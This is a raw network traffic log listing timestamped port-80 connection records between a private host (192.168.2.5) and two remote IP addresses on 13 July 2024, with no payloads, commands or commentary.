Jul 13, 2024 07:07:06.187455893 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187490940 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187495947 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187529087 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187536955 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187536955 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187582016 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187604904 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187613964 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187647104 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187653065 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187653065 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187696934 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187716961 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187747955 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187767982 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187781096 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187783957 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187813997 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187846899 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187886000 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187899113 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187920094 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187932968 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187936068 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187969923 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187994003 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188004017 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188011885 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188046932 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188080072 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188093901 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188095093 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188114882 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188148022 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188153028 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188153028 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188184023 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188205957 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188234091 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188257933 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188266993 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188299894 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188302994 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188302994 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188335896 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188348055 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188385010 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188424110 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188424110 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188436031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188468933 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188530922 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188538074 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188565016 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188595057 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188604116 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188607931 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188638926 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188654900 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188693047 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188715935 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188724995 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188761950 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188767910 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188775063 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188803911 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188846111 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188853979 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188888073 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188898087 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.188920021 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188954115 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188987017 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.188992023 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189003944 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189038038 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189070940 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189097881 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189104080 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189132929 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189146042 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189155102 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189189911 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189222097 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189233065 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189233065 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189254045 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189260006 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189282894 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189315081 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189320087 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189320087 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189348936 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189382076 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189384937 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189384937 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189414978 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189420938 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189448118 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189480066 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189486980 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189512014 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189522982 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189544916 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189577103 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189598083 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189610958 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189631939 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189644098 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189647913 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189677954 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189709902 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189716101 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189716101 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189745903 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189764977 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189773083 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.189834118 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.189834118 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.191437006 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191472054 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191524029 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191555977 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191606045 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191637993 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191642046 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191642046 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191642046 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191642046 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191673040 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191735029 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191735029 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191760063 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191793919 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191826105 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191828966 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191854000 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191864967 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191881895 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191895962 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191911936 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.191912889 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191927910 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.191941023 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191941023 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.191962004 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.192003012 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192030907 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192047119 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192073107 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192095995 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192138910 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192154884 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192169905 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192184925 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192186117 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192186117 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192202091 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192203045 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192218065 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192234039 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192234039 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192234993 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192248106 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192281008 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192296028 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192315102 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192317963 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192317963 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192329884 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192331076 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192351103 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192361116 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192379951 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192393064 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192652941 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192730904 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192801952 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192816019 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192831039 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192847013 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192848921 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192866087 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192866087 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192902088 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.192913055 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192929029 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192944050 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.192977905 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.193034887 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.193176031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.193238020 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.193284035 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.193298101 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.193342924 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.193357944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.193373919 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.193387985 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.193393946 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.193403959 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.193420887 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.193420887 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.193463087 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.193502903 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.193613052 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.193618059 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.193669081 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.193702936 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.193718910 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.193734884 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.193749905 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.193758965 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.193758965 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.193797112 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.193798065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.193974018 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.193999052 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194022894 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194031000 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194037914 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194052935 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194055080 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194072008 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194075108 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194075108 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194088936 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194106102 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194108009 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194123030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194129944 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194129944 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194147110 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194155931 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194165945 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194178104 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194183111 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194200039 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194216967 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194227934 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194227934 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194232941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194248915 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194250107 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194274902 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194274902 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194274902 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194292068 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194294930 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194307089 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194315910 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194324970 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194330931 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194365025 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194365025 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194411039 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194425106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194448948 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194457054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194464922 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194480896 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194499969 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194499969 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194540024 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194555044 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194570065 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194585085 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194593906 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194593906 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194600105 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194607973 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194633961 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194644928 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194705009 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194726944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194741964 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194755077 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.194762945 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194762945 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194770098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194785118 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194788933 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194803953 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194806099 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.194819927 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194830894 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194830894 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194847107 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194859982 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194869041 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194885969 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194885969 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194885969 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194901943 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.194922924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.194957972 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195075035 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.195091009 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195106030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195118904 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.195122004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195137024 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195152998 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195152998 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195168018 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195174932 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195183992 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195203066 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195203066 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195225954 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195230007 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195230007 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195244074 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195261002 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195276022 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195291996 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195292950 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195307016 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195322990 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195322990 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195322990 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195349932 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195349932 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195437908 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195451975 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195467949 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195482969 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195497990 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195513010 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195516109 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195528030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195538044 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195544958 CEST	80	58982	77.91.77.81	192.168.2.5
